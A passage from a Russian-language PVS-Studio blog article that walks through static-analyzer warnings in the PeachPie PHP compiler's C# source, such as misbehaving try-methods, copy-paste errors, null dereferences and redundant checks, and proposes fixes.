оплошность, но очевидно, что код работает некорректно. Try-методы с нюансами --------------------- Try-методы очень часто бывают удобны при разработке приложений на C#. Наиболее известными их представителями являются *int.TryParse*, *Dictionary.TryGetValue* и т.д. Привычно, что эти методы возвращают флаг, указывающий на успешность выполнения операции, а сам результат записывается в out-параметр. Разработчики PeachPie решили реализовать свои try-методы, которые, казалось бы, должны были работать по той же схеме. Что же из этого вышло? Давайте взглянем на следующий код: ``` internal static bool TryParseIso8601Duration(string str, out DateInfo result, out bool negative) { .... if (pos >= length) goto InvalidFormat; if (s[pos++] != 'P') goto InvalidFormat; if (!Core.Convert.TryParseDigits(....)) goto Error; if (pos >= length) goto InvalidFormat; if (s[pos] == 'Y') { .... if (!Core.Convert.TryParseDigits(....)) goto Error; if (pos >= length) goto InvalidFormat; } .... InvalidFormat: Error: result = default; negative = default; return false; } ``` Данный метод сильно сокращён для удобства восприятия. При желании вы можете посмотреть его полностью, перейдя по [ссылке](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.Library/DateTime/DateTimeParsing.cs#L1413). В методе множество раз производится вызов *Core.Convert.TryParseDigits*. В случаях когда такой вызов возвращает *false*, поток выполнения переходит к метке *Error*, что вполне логично. На метке *Error* *out*-параметрам присваиваются значения по умолчанию, после чего метод возвращает *false*. Всё выглядит вполне логично – метод *TryParseIso8601Duration* ведёт себя именно так, как и стандартные try-методы. Ну… По крайней мере, это так выглядит. Фактически же всё совсем не так :(. Как уже было сказано ранее, если *Core.Convert.TryParseDigits* возвращает *false*, то код переходит на метку *Error*, где и производится обработка ошибки/неудачи. Правда, вот в чём беда – анализатор-то сообщает, что *TryParseDigits* никогда не возвращает *false*: Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression '!Core.Convert.TryParseDigits(s, ref pos, false, out value, out numDigits)' is always false. DateTimeParsing.cs 1440 Если отрицание результата вызова всегда равно *false*, то сам вызов всегда возвращает *true*. Достаточно специфичное поведение для try-метода! Неужели операция и правда всегда завершается успешно? Давайте, наконец, взглянем на *TryParseDigits*: ``` public static bool TryParseDigits(....) { Debug.Assert(offset >= 0); int offsetStart = offset; result = 0; numDigits = 0; while (....) { var digit = s[offset] - '0'; if (result > (int.MaxValue - digit) / 10) { if (!eatDigits) { // overflow //return false; throw new OverflowException(); } .... return true; } result = result * 10 + digit; offset++; } numDigits = offset - offsetStart; return true; } ``` Метод действительно всегда возвращает *true*. Но операция может и завершиться неудачей – в этом случае будет выброшено исключение типа *OverflowException*. Как по мне, это явно не то поведение, которого ожидаешь от try-метода :). Строка с *return false*, кстати, тут есть, но она закомментирована. Возможно, использование в этом месте исключения как-то обосновано. Но по коду складывается впечатление, что тут что-то пошло не по плану. И *TryParseDigits*, и использующий его *TryParseIso8601Duration,* по идее, должны работать как привычные try-методы – возвращать в случае неудачи *false*. Вместо этого они выбрасывают неожиданные исключения. Значение аргумента по умолчанию ------------------------------- Следующее срабатывание анализатора попроще, однако и оно указывает на весьма странный фрагмент кода: ``` private static bool Put(Context context, PhpResource ftp_stream, string remote_file, string local_file, int mode, bool append, int startpos) { .... } public static bool ftp_put(Context context, PhpResource ftp_stream, string remote_file, string local_file, int mode = FTP_IMAGE, int startpos = 0) { return Put(context, ftp_stream, remote_file, local_file, mode = FTP_IMAGE, // <= false, startpos); } ``` Предупреждение [V3061](https://pvs-studio.com/ru/w/v3061/): Parameter 'mode' is always rewritten in method body before being used. Ftp.cs 306 Метод *ftp\_put* принимает на вход ряд параметров, одним из которых является *mode*. Данный параметр имеет значение по умолчанию, однако при вызове, очевидно, можно задать и другое значение. Правда, это ни на что не повлияет – *mode* всегда перезаписывается, и в метод *Put* всегда передаётся значение константы *FTP\_IMAGE*. Сложно сказать, почему всё написано именно так – конструкция кажется бессмысленной. Скорее всего, здесь всё же допущена ошибка. Copy-paste передаёт привет -------------------------- Следующий фрагмент кода похож на жертву копирования: ``` public static PhpValue filter_var(....) { .... if ((flags & (int)FilterFlag.NO_PRIV_RANGE) == (int)FilterFlag.NO_PRIV_RANGE) { throw new NotImplementedException(); } if ((flags & (int)FilterFlag.NO_PRIV_RANGE) == (int)FilterFlag.NO_RES_RANGE) { throw new NotImplementedException(); } .... } ``` Предупреждение [V3127](https://pvs-studio.com/ru/w/v3127/): Two similar code fragments were found. Perhaps, this is a typo and 'NO\_RES\_RANGE' variable should be used instead of 'NO\_PRIV\_RANGE' Filter.cs 771 Складывается впечатление, что второе условие нужно было записать так: *(flags & (int)FilterFlag.**NO\_RES\_RANGE**) == (int)FilterFlag.NO\_RES\_RANGE* Во всяком случае, такой вариант выглядит логичнее и не вызывает вопросов. Просто лишняя проверка в if --------------------------- Думаю, можно разбавить наш сегодняшний разбор и обычным избыточным кодом: ``` internal static NumberInfo IsNumber(....) { .... int num = AlphaNumericToDigit(c); // unexpected character: if (num <= 15) { if (l == -1) { if ( longValue < long.MaxValue / 16 || ( longValue == long.MaxValue / 16 && num <= long.MaxValue % 16)) // <= { .... } .... } .... } .... } ``` Предупреждение [V3063](https://pvs-studio.com/ru/w/v3063/): A part of conditional expression is always true if it is evaluated: num <= long.MaxValue % 16. Conversions.cs 994 В первую очередь хочется сказать, что код функции очень сильно урезан для удобства восприятия. Полностью исходный код *IsNumber* доступен по [ссылке](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.Runtime/Conversions.cs#L727) – но хочу предупредить, что изучать её будет непросто, ибо функция содержит более 300 строк кода. Кажется, что она слегка выходит за принятые рамки "одного экрана" :). Перейдём к срабатыванию. Во внешнем блоке производится проверка, что значение переменной *num* меньше или равно 15. Во внутреннем же есть проверка, что *num* меньше или равно *long.MaxValue % 16*. При этом значение этого выражения равно 15 – это нетрудно проверить. Выходит, код дважды проверяет, что *num* меньше или равен 15. Едва ли это срабатывание указывает на реальную ошибку – просто кто-то написал лишнюю проверку. Возможно, на то даже были причины – например, разработчику было проще читать именно такой код. Хотя кажется, что использование какой-нибудь переменной или константы для хранения результата сравнения было бы более простым вариантом. Как бы там ни было, конструкция избыточна, и долг статического анализатора – об этом сообщить. Так может ли там быть null? --------------------------- Довольно часто разработчики упускают проверки на *null*. Особенно интересна ситуация, когда в одном месте функции переменную проверили, а в другом (где она всё так же может быть *null*) – забыли или не посчитали нужным. И тут остаётся лишь гадать, была ли проверка лишней или напротив – кое-где её не хватает. Проверки на *null* не всегда предполагают использование операторов сравнения – например, в коде ниже разработчик использовал [null-conditional оператор](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/member-access-operators#null-conditional-operators--and-): ``` public static string get_parent_class(....) { if (caller.Equals(default)) { return null; } var tinfo = Type.GetTypeFromHandle(caller)?.GetPhpTypeInfo(); return tinfo.BaseType?.Name; } ``` Предупреждение [V3105](https://pvs-studio.com/ru/w/v3105/): The 'tinfo' variable was used after it was assigned through null-conditional operator. NullReferenceException is possible. Objects.cs 189 По мнению разработчика, вызов *Type.GetTypeFromHandle(caller)* может вернуть *null* – оттого он и использовал "?." для вызова *GetPhpTypeInfo*. Судя по [документации](https://docs.microsoft.com/en-us/dotnet/api/system.type.gettypefromhandle?view=net-5.0#System_Type_GetTypeFromHandle_System_RuntimeTypeHandle_), это действительно возможно. Ура, "?." спасает от одного исключения. Если вызов *GetTypeFromHandle* действительно вернёт *null*, то в переменную *tinfo* также будет записан *null*. Однако при попытке обращения к свойству *BaseType* будет выброшено другое исключение. Скорее всего, в последней строке не хватает ещё одного "?": *return tinfo**?**.BaseType?.Name;* Fatal warning и exceptions -------------------------- *Приготовьтесь, в этом разделе вас ждёт настоящее расследование...* Ещё одно срабатывание, связанное с проверкой на *null*, оказалось куда интереснее, чем выглядело на первый взгляд. Взгляните на код: ``` static HashPhpResource ValidateHashResource(HashContext context) { if (context == null) { PhpException.ArgumentNull(nameof(context)); } return context.HashAlgorithm; } ``` Предупреждение [V3125](https://pvs-studio.com/ru/w/v3125/): The 'context' object was used after it was verified against null. Check lines: 3138, 3133. Hash.cs 3138 Действительно, переменная проверяется на равенство *null*, а затем без какой-либо проверки производится обращение к свойству. Однако посмотрите, что произойдёт, если переменная будет равна *null*: ``` PhpException.ArgumentNull(nameof(context)); ``` Получается, что если *context* и правда будет равен *null*, то до обращения к свойству *HashAlgorithm* поток выполнения не доберётся. Следовательно, данный код безопасен. Получается, ложное срабатывание? Конечно, анализатор может и ошибаться. Однако мне было известно, что PVS-Studio подобные ситуации обрабатывать умеет – анализатор должен был знать, что в момент обращения к *HashAlgorithm* переменная *context* не может быть равна *null*. А всё-таки что именно делает вызов *PhpException.ArgumentNull*? Давайте взглянем: ``` public static void ArgumentNull(string argument) { Throw(PhpError.Warning, ErrResources.argument_null, argument); } ``` Хм, действительно, вроде что-то выбрасывается. Обратите внимание на первый аргумент вызова — *PhpError.Warning*. Хм, ну что ж, перейдём к самому методу *Throw*: ``` public static void Throw(PhpError error, string formatString, string arg0) { Throw(error, string.Format(formatString, arg0)); } ``` Тут в принципе ничего интересного, перейдём в другую перегрузку *Throw*: ``` public static void Throw(PhpError error, string message) { OnError?.Invoke(error, message); // throw PhpFatalErrorException // and terminate the script on fatal error if ((error & (PhpError)PhpErrorSets.Fatal) != 0) { throw new PhpFatalErrorException(message, innerException: null); } } ``` А вот и то, что мы искали! Получается, что под капотом всей этой системы производится выбрасывание *PhpFatalErrorException*. Вот только похоже, что выбрасывается исключение не всегда. В первую очередь стоит поглядеть на места, где регистрируются обработчики события *OnError*. Всё же они тоже могут кидать исключения – это было бы слегка неожиданно, но мало ли. Таких оказалось немного и все они связаны с логированием соответствующих сообщений. Один был в файле [PhpHandlerMiddleware](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.AspNetCore.Web/PhpHandlerMiddleware.cs): ``` PhpException.OnError += (error, message) => { switch (error) { case PhpError.Error: logger.LogError(message); break; case PhpError.Warning: logger.LogWarning(message); break; case PhpError.Notice: default: logger.LogInformation(message); break; } }; ``` Другие 2 определялись внутри самого класса [PhpException](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.Runtime/Errors.cs#L99): ``` // trace output OnError += (error, message) => { Trace.WriteLine(message, $"PHP ({error})"); }; // LogEventSource OnError += (error, message) => { if ((error & (PhpError)PhpErrorSets.Fatal) != 0) { LogEventSource.Log.HandleFatal(message); } else { LogEventSource.Log.HandleWarning(message); } }; ``` Таким образом, никаких исключений обработчики события не генерируют. Поэтому вернёмся к методу *Throw*. ``` public static void Throw(PhpError error, string message) { OnError?.Invoke(error, message); // throw PhpFatalErrorException // and terminate the script on fatal error if ((error & (PhpError)PhpErrorSets.Fatal) != 0) { throw new PhpFatalErrorException(message, innerException: null); } } ``` Раз с *OnError* всё ясно, то давайте подробнее разберём это условие: ``` (error & (PhpError)PhpErrorSets.Fatal) != 0 ``` Параметр *error* хранит значение перечисления *PhpError*. Чуть ранее мы видели, что в этот параметр передаётся *PhpError.Warning*. Исключение же будет выброшено в случае, если результат применения "побитового и" к *error* и *PhpErrorSets.Fatal* не будет нулевым. Значение *PhpErrorSets.Fatal* представляет собой "объединение" набора элементов перечисления *PhpError* с помощью операции "побитового или": ``` Fatal = PhpError.E_ERROR | PhpError.E_COMPILE_ERROR | PhpError.E_CORE_ERROR | PhpError.E_USER_ERROR ``` Ниже представлены значения всех рассмотренных ранее элементов перечисления: ``` E_ERROR = 1, E_WARNING = 2, E_CORE_ERROR = 16, E_COMPILE_ERROR = 64, E_USER_ERROR = 256, Warning = E_WARNING ``` Получается, операция *error & (PhpError)PhpErrorSets.Fatal* вернёт ненулевое значение только в случае, если параметр *error* будет иметь одно из следующих значений или их сочетаний: ``` PhpError.E_ERROR, PhpError.E_COMPILE_ERROR, PhpError.E_CORE_ERROR, PhpError.E_USER_ERROR ``` Если в параметр *error* записано значение *PhpError.Warning*, равное *PhpError.E\_WARNING*, то результат операции "побитового и" будет нулевым. Тогда и условие выбрасывания исключения *PhpFatalErrorException* не будет выполнено. Вернёмся назад к методу *PhpException.ArgumentNull*: ``` public static void ArgumentNull(string argument) { Throw(PhpError.Warning, ErrResources.argument_null, argument); } ``` Мы разобрались, что при передаче *PhpError.Warning* исключение выброшено не будет. Возможно, по задумке исключение действительно не должно выбрасываться в случаях, когда передан неожиданный *null*. Вот только... ``` static HashPhpResource ValidateHashResource(HashContext context) { if (context == null) { PhpException.ArgumentNull(nameof(context)); // no exceptions } return context.HashAlgorithm; // context is potential null } ``` Если *PhpException.ArgumentNull* не выбрасывает исключение (что само по себе уже очень неожиданно), то при обращении к свойству *HashAlgorithm* всё равно будет выбрасываться *NullReferenceException*! Возникает вопрос – должно ли всё-таки выбрасываться исключение или нет? Если должно, то логичнее было бы использовать тот же *PhpFatalErrorException*. Если же исключения в этой ситуации никто не ожидает, то нужно корректно обработать значение *null* параметра *context*. К примеру, использовать "?.". Так или иначе, анализатор всё-таки отработал корректно и даже помог разобраться в этой странной ситуации. Снова лишняя проверка? И снова exception! ----------------------------------------- Прошлый случай показывает, как можно ожидать исключение, а нарваться на неожиданный *null*. Фрагмент ниже – противоположность того случая: ``` public PhpValue offsetGet(PhpValue offset) { var node = GetNodeAtIndex(offset); Debug.Assert(node != null); if (node != null) return node.Value; else return PhpValue.Null; } ``` Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression 'node != null' is always true. Datastructures.cs 432 Ну, как говорится, не *null* и ладно – чего бухтеть-то? Вот только обычно *null* ожидается в тех случаях, когда что-то пошло не так. По коду видно, что здесь именно такая ситуация. Анализатор же утверждает, что никакого *null* тут быть не может. Можно подумать, что здесь дело в вызове *Debug.Assert*. Хорошо это или плохо, но на самом деле этот вызов не влияет на мнение анализатора. Если дело не в *Debug.Assert*, то в чём же? С чего анализатор считает, что *node* никогда не равно *null*? Давайте взглянем на метод *GetNodeAtIndex*, который и возвращает значение, записанное в *node*: ``` private LinkedListNode GetNodeAtIndex(PhpValue index) { return GetNodeAtIndex(GetValidIndex(index)); } ``` Что же, копаем дальше. Поглядим на вызванный здесь *GetNodeAtIndex*: ``` private LinkedListNode GetNodeAtIndex(long index) { var node = \_baseList.First; while (index-- > 0 && node != null) { node = node.Next; } return node ?? throw new OutOfRangeException(); } ``` Глядите – похоже, метод действительно мог бы вернуть *null*… Но не тут-то было – если после завершения работы цикла *node* будет равно *null*, то производится выбрасывание исключения. Таким образом, никакого *null* возвращено быть не может. Получается, что в случае возникновения непредвиденной ситуации метод *GetNodeAtIndex* не вернёт *null*, как ожидалось в коде метода *offsetGet*: ``` public PhpValue offsetGet(PhpValue offset) { var node = GetNodeAtIndex(offset); // potential null expected Debug.Assert(node != null); if (node != null) // always true return node.Value; else return PhpValue.Null; // unreachable } ``` При просмотре этого метода любой разработчик может легко обмануться. Ведь по коду складывается впечатление, что либо будет возвращено корректное значение, либо *PhpValue.Null*. Фактически же этот метод может выбросить исключение. Такая вот беда — неожиданное поведение лишь одного метода в цепочке вызовов приводит к неожиданному поведению всех этих методов. Данный пример хорошо иллюстрирует полезность статического анализа, позволяющего находить такие проблемы автоматически. Аналогичная проблема присутствует, кстати, и в методе *offsetSet* из того же класса: ``` public void offsetSet(PhpValue offset, PhpValue value) { var node = GetNodeAtIndex(offset); Debug.Assert(node != null); if (node != null) node.Value = value; } ``` Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression 'node != null' is always true. Datastructures.cs 444 Присваивания и переприсваивания ------------------------------- Предлагаю немного отдохнуть от всех этих расследований и выпить кружечку кофе. ![0855_Peachpie_check_ru/image3.png](https://habrastorage.org/r/w1560/getpro/habr/post_images/7c0/6ce/581/7c06ce5818dd0fd693d2859ee273e3d9.png) Пока пьём кофе, рассмотрим более простое срабатывание, которое тем не менее указывает на очень странный фрагмент кода: ``` internal StatStruct(Mono.Unix.Native.Stat stat) { st_dev = (uint)stat.st_dev; st_ctime = stat.st_ctime_nsec; st_mtime = stat.st_mtime_nsec; st_atime = stat.st_atime_nsec; st_ctime = stat.st_ctime; st_atime = stat.st_atime; //stat.st_blocks; //stat.st_blksize; st_mtime = stat.st_mtime; st_rdev = (uint)stat.st_rdev; st_gid = (short)stat.st_gid; st_uid = (short)stat.st_uid; st_nlink = (short)stat.st_nlink; st_mode = (FileModeFlags)stat.st_mode; st_ino = (ushort)stat.st_ino; st_size = stat.st_size; } ``` Предупреждения PVS-Studio: * [V3008](https://pvs-studio.com/ru/w/v3008/) The 'st\_ctime' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 78, 75. StatStruct.cs 78 * [V3008](https://pvs-studio.com/ru/w/v3008/) The 'st\_atime' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 79, 77. StatStruct.cs 79 Выглядит так, будто разработчик запутался во всех этих присваиваниях и где-то опечатался. Это привело к тому, что значения присваиваются полям *st\_ctime* и *st\_atime* по 2 раза – и ведь второй раз присваивается не то же самое значение, что в первый. Вроде бы ошибка, верно? Но так ведь совсем не интересно! Предлагаю вам потренировать свои навыки поиска глубинного смысла и в комментариях предложить какое-нибудь объяснение того, зачем всё написано именно таким образом. Ну а пока идём дальше :) Эти неизменяемые строки… не изменить ------------------------------------ Давным-давно, когда вы ещё только просматривали первые срабатывания из этой статьи, мы упоминали неизменяемость экземпляров структуры *DateTime*. Следующие же предупреждения напомнят нам об аналогичном свойстве строк: ``` public TextElement Filter(IEncodingProvider enc, TextElement input, bool closing) { string str = input.AsText(enc.StringEncoding); if (pending) { if (str.Length == 0) str = "\r"; else if (str[0] != '\n') str.Insert(0, "\r"); // <= } str = str.Replace("\r\n", "\n"); if (str.Length != 0) { pending = str[str.Length - 1] == '\r'; if (!closing && pending) str.Remove(str.Length - 1, 1); // <= } return new TextElement(str); } ``` Предупреждения PVS-Studio: * [V3010](https://pvs-studio.com/ru/w/v3010/) The return value of function 'Insert' is required to be utilized. Filters.cs 150 * [V3010](https://pvs-studio.com/ru/w/v3010/) The return value of function 'Remove' is required to be utilized. Filters.cs 161 В принципе, всё просто и понятно – хотели внести в строку изменения, но как-то… не срослось :(. or throw != or null ------------------- Недавно мы разбирали случай, когда разработчик ожидал от функции *null*, а получил исключение. Ниже представлено нечто похожее, но попроще: ``` public static bool stream_wrapper_register(....) { // check if the scheme is already registered: if ( string.IsNullOrEmpty(protocol) || StreamWrapper.GetWrapperInternal(ctx, protocol) == null) { // TODO: Warning? return false; } var wrapperClass = ctx.GetDeclaredTypeOrThrow(classname, true); if (wrapperClass == null) // <= { return false; } .... } ``` Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression 'wrapperClass == null' is always false. Streams.cs 555 Конечно, можно провести подробный разбор, но… Тут и по названию метода ведь всё видно! *GetDeclaredTypeOrThrow* как бы намекает, что если что не так, то он будет стрелять. И ведь смотрите опять какая штука – это поведение будет передаваться и методу *stream\_wrapper\_register*, который по задумке должен был бы просто вернуть *false*. Ага, конечно, ловите исключение! Вообще, мы уже сталкивались ранее с обманывающими названиями. Помните, как вызов метода *PhpException.ArgumentNull* на самом деле не бросал исключение? Поэтому давайте всё-таки проверим, действительно ли *GetDeclaredTypeOrThrow* бросает исключение: ``` PhpTypeInfo GetDeclaredTypeOrThrow(string name, bool autoload = false) { return GetDeclaredType(name, autoload) ?? throw PhpException.ClassNotFoundException(name); } ``` Ну, здесь не обманули – и правда исключение :). Странный while true ------------------- Бывают случаи, когда разработчики используют в качестве условия продолжения цикла *while* значение *true*. Кажется, что это в целом нормальная практика – для выхода из цикла может использоваться *break, return*, ну или те же исключения. Куда более странно выглядит цикл, в качестве условия которого используется не ключевое слово *true*, а некоторое выражение, значение которого всегда имеет значение *true*: ``` public static int stream_copy_to_stream(...., int offset = 0) { .... if (offset > 0) { int haveskipped = 0; while (haveskipped != offset) // <= { TextElement data; int toskip = offset - haveskipped; if (toskip > from.GetNextDataLength()) { data = from.ReadMaximumData(); if (data.IsNull) break; } else { data = from.ReadData(toskip, false); if (data.IsNull) break; // EOF or error. Debug.Assert(data.Length <= toskip); } Debug.Assert(haveskipped <= offset); } } .... } ``` Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression 'haveskipped != offset' is always true. Streams.cs 769 Переменная *haveskipped* объявлена перед запуском цикла и инициализирована значением 0. Это значение останется с ней… до самой смерти. Мрачновато вышло, но как есть. По сути, *haveskipped* — это константа. Значение параметра *offset* во время выполнения цикла также не меняется. Да и вообще не меняется ни в одном месте функции, на самом деле (можете проверить [тут](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.Library/Streams/Streams.cs#L751)). Задумывал ли разработчик, что условие продолжения цикла будет всегда истинным? В теории это возможно, конечно. Но взгляните на цикл повнимательнее. Следующее присваивание в нём выглядит странно: ``` int toskip = offset - haveskipped; ``` Какой в этом смысл, если *haveskipped* всегда равен 0? С этим циклом явно что-то не то. То ли тут действительно допущена серьёзная ошибка, то ли все эти странности с *haveskipped* – останки каких-то старых нереализованных идей. data == null && throw NullReferenceException -------------------------------------------- Довольно часто ошибки связаны с использованием некорректных операторов в условиях. Нашлось подобное и в компиляторе PHP: ``` public string ReadStringContents(int maxLength) { if (!CanRead) return null; var result = StringBuilderUtilities.Pool.Get(); if (maxLength >= 0) { while (maxLength > 0 && !Eof) { string data = ReadString(maxLength); if (data == null && data.Length > 0) break; // EOF or error. maxLength -= data.Length; result.Append(data); } } .... } ``` Предупреждение [V3080](https://pvs-studio.com/ru/w/v3080/): Possible null dereference. Consider inspecting 'data'. PhpStream.cs 1382 В цикле производится проверка значения переменной *data*. Если она равна *null* и при этом её свойство *Length* имеет положительное значение, то производится выход из цикла. Очевидно, это невозможно. Более того, обращение к свойству *Length* переменной, имеющей значение *null*, приведёт к выбрасыванию исключения. Здесь же обращение подчёркнуто производится именно тогда, когда *data = null*. Учитывая комментарий разработчика, я бы переписал условие как-то так: ``` data == null || data.Length == 0 ``` Тем не менее, не факт, что это действительно корректный вариант обработки – для внесения исправления стоит провести более глубокое исследование кода. Не то исключение ---------------- Бывают и ошибки, которые в принципе не выглядят особенно страшными, но всё же могут доставить проблем. Например, в следующем фрагменте copy-paste нанёс ещё один удар: ``` public bool addGlob(....) { PhpException.FunctionNotSupported(nameof(addGlob)); return false; } public bool addPattern(....) { PhpException.FunctionNotSupported(nameof(addGlob)); return false; } ``` Предупреждение [V3013](https://pvs-studio.com/ru/w/v3013/): It is odd that the body of 'addGlob' function is fully equivalent to the body of 'addPattern' function (506, line 515). ZipArchive.cs 506 Функция *addGlob*, очевидно, не поддерживается, поэтому при её вызове выбрасывается исключение, сообщающее о том, что *addGlob* не поддерживается. Поверили? А зря! Никакого исключения тут не будет – это ж наш старый знакомый *PhpException*: ``` public static class PhpException { .... public static void FunctionNotSupported(string/*!*/function) { Debug.Assert(!string.IsNullOrEmpty(function)); Throw(PhpError.Warning, ErrResources.notsupported_function_called, function); } .... } ``` Как мы разбирали ранее, если в метод *Throw* передаётся значение *PhpError.Warning*, то исключения не будет. Но всё же возникшая ошибка наверняка будет записана в какой-нибудь лог или обработана как-то ещё. Вернёмся к исходному фрагменту кода: ``` public bool addGlob(....) { PhpException.FunctionNotSupported(nameof(addGlob)); return false; } public bool addPattern(....) { PhpException.FunctionNotSupported(nameof(addGlob)); return false; } ``` *addGlob* не поддерживается и при вызове соответствующее сообщение будет как-то обработано – будем считать, что оно запишется в лог. *addPattern* тоже не поддерживается, правда, вот соответствующее сообщение будет всё равно посвящено *addGlob*. Очевидно, проблема возникла из-за копирования. Исправить легко – просто в методе *addPattern* нужно сообщать про *addPattern*, а не про *addGlob*: ``` public bool addPattern(....) { PhpException.FunctionNotSupported(nameof(addPattern)); return false; } ``` String.Join ни в чём не виноват! -------------------------------- Иногда разработчики забывают об особенностях работы некоторых функций, из-за чего проверяют совсем не те значения, которые нужно. Из-за этого проверка оказывается бессмысленной, а в правильном месте её и вовсе нет. Похоже, примерно это и случилось с функцией *getallheaders*: ``` public static PhpArray getallheaders(Context ctx) { var webctx = ctx.HttpPhpContext; if (webctx != null) { var headers = webctx.RequestHeaders; if (headers != null) { var result = new PhpArray(16); foreach (var h in headers) { result[h.Key] = string.Join(", ", h.Value) ?? string.Empty; } return result; } } return null; } ``` Предупреждение [V3022](https://pvs-studio.com/ru/w/v3022/): Expression 'string.Join(", ", h.Value)' is always not null. The operator '??' is excessive. Web.cs 932 Использование оператора "??" не имеет здесь никакого смысла, так как метод *string.Join* никогда не вернёт *null*. А вот бросить *ArgumentNullException* – это всегда пожалуйста! *string.Join* выбрасывает исключение в том случае, если переданная ссылка на последовательность равна *null*. Поэтому безопаснее будет записать эту строку как-то так: ``` result[h.Key] = h.Value != null ? string.Join(", ",h.Value) : string.Empty; ``` Вообще, я хотел узнать, может ли это *Value* в принципе быть *null*. А то, может, тут и вовсе не нужны никакие проверки. Для этого нужно было понять, откуда пришла коллекция *headers*. ``` public static PhpArray getallheaders(Context ctx) { var webctx = ctx.HttpPhpContext; if (webctx != null) { var headers = webctx.RequestHeaders; .... } return null; } ``` Значение *headers* взято из *webctx.RequestHeaders*, а значение *webctx*, в свою очередь, берётся из свойства *HttpPhpContext* объекта *ctx*. Ну а свойство *HttpPhpContext*… Что ж, глядите сами: ``` partial class Context : IEncodingProvider { .... public virtual IHttpPhpContext? HttpPhpContext => null; .... } ``` Это, видимо, некий "на потом". Если взглянете на метод *getallheaders* ещё разок, то увидите, что он, получается, вообще никогда не отрабатывает и просто возвращает *null*. Что, опять поверили? Ну что же с вами делать! Свойство-то виртуальное. Следовательно, чтобы понять, что же фактически может быть им возвращено, надо изучать наследников. Лично я решил на этом остановиться – всё же мне нужно показывать и другие срабатывания. Маленькое присваивание в большом методе --------------------------------------- Чем больше и сложнее метод, тем больше вероятность наличия в нём ошибки. Разработчикам со временем становится сложно ориентироваться в большой куче кода, при этом всегда очень страшно что-то в этом коде менять. Новый код добавляется, старый остаётся прежним, кое-как эта невероятная конструкция вроде работает, ну и слава богу. Нет ничего удивительного в том, что в таком коде оказываются различные странности. К примеру, давайте взглянем на метод *inflate\_fast*: ``` internal int inflate_fast(....) { .... int r; .... if (c > e) { // if source crosses, c -= e; // wrapped copy if (q - r > 0 && e > (q - r)) { do { s.window[q++] = s.window[r++]; } while (--e != 0); } else { Array.Copy(s.window, r, s.window, q, e); q += e; r += e; e = 0; // <= } r = 0; // <= } .... } ``` Предупреждение [V3008](https://pvs-studio.com/ru/w/v3008/): The 'r' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 621, 619. InfCodes.cs 621 Для начала вот [ссылка](https://github.com/peachpiecompiler/peachpie/blob/cfbcc7cc34fb78097a53ec25b2ad78242160f22e/src/Peachpie.Library/Zlib/InfCodes.cs#L482) на полный код. Метод состоит более чем из двух сотен строк кода с кучей вложенных конструкций. Кажется, что разобраться в нём явно было бы непросто. Срабатывание довольно однозначное – сначала в блоке переменной *r* присваивается новое значение, а затем оно безусловно перезаписывается нулём. Сложно сказать, что именно здесь не так. То ли обнуление работает как-то не так, то ли конструкция *r += e* здесь лишняя. null dereference в логическом выражении --------------------------------------- Ранее мы уже рассмотрели случай, когда некорректно построенное логическое выражение приводит к выбрасыванию исключения. Ниже приведён ещё один пример подобного срабатывания: ``` public static bool IsAutoloadDeprecated(Version langVersion) { // >= 7.2 return langVersion != null && langVersion.Major > 7 || (langVersion.Major == 7 && langVersion.Minor >= 2); } ``` Предупреждение [V3080](https://pvs-studio.com/ru/w/v3080/): Possible null dereference. Consider inspecting 'langVersion'. AnalysisFacts.cs 20 Код проверяет, что переданный параметр *langVersion* не равен *null*. Стало быть, разработчик предполагал, что при вызове действительно может быть передан *null*. Спасает ли проверка от выбрасывания исключения? Увы, если переменная *langVersion* будет равна *null*, то значение первой части выражения будет равно *false*. При вычислении же второй части будет выброшено исключение. Как правило, фрагменты кода для статьи приходится дополнительно форматировать для улучшения читаемости. Этот случай не исключение – выражение, рассмотренное ранее, на самом деле, было записано в одну строку: ![0855_Peachpie_check_ru/image5.png](https://habrastorage.org/r/w1560/getpro/habr/post_images/ccc/cdd/78d/ccccdd78dea9862ae01a28b9d77dacea.png) Учитывая комментарий, можно легко понять, что здесь либо перепутали приоритеты операторов, либо попросту поставили скобку неправильно. Скорее всего, метод должен выглядеть как-то так: ``` public static bool IsAutoloadDeprecated(Version langVersion) { // >= 7.2 return langVersion != null && ( langVersion.Major > 7 || langVersion.Major == 7 && langVersion.Minor >= 2); } ``` Вот и всё! ---------- На самом деле нет. Анализатор выдал примерно 5 сотен срабатываний на весь проект, и интересных среди них осталось немало. Поэтому я всё же предлагаю вам самостоятельно [попробовать PVS-Studio](https://pvs-studio.com/ru/pvs-studio/download/?utm_source=peachpie-article&utm_medium=link_download) и поглядеть, что новенького он ещё найдёт в этом или других проектах. Кто знает, быть может, вы сможете обнаружить какие-нибудь ошибки, которые будут даже интереснее, чем всё, что я тут наразбирал :). Ну и, конечно же, пишите о них в комментарии. Возможно, найденные вами баги даже попадут в Топ-10 ошибок 2021! Желаю удачи! Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Lipilin. [Is PHP compilable?! PVS-Studio searches for errors in PeachPie](https://habr.com/en/company/pvs-studio/blog/573288/).
https://habr.com/ru/post/573296/
null
ru
null
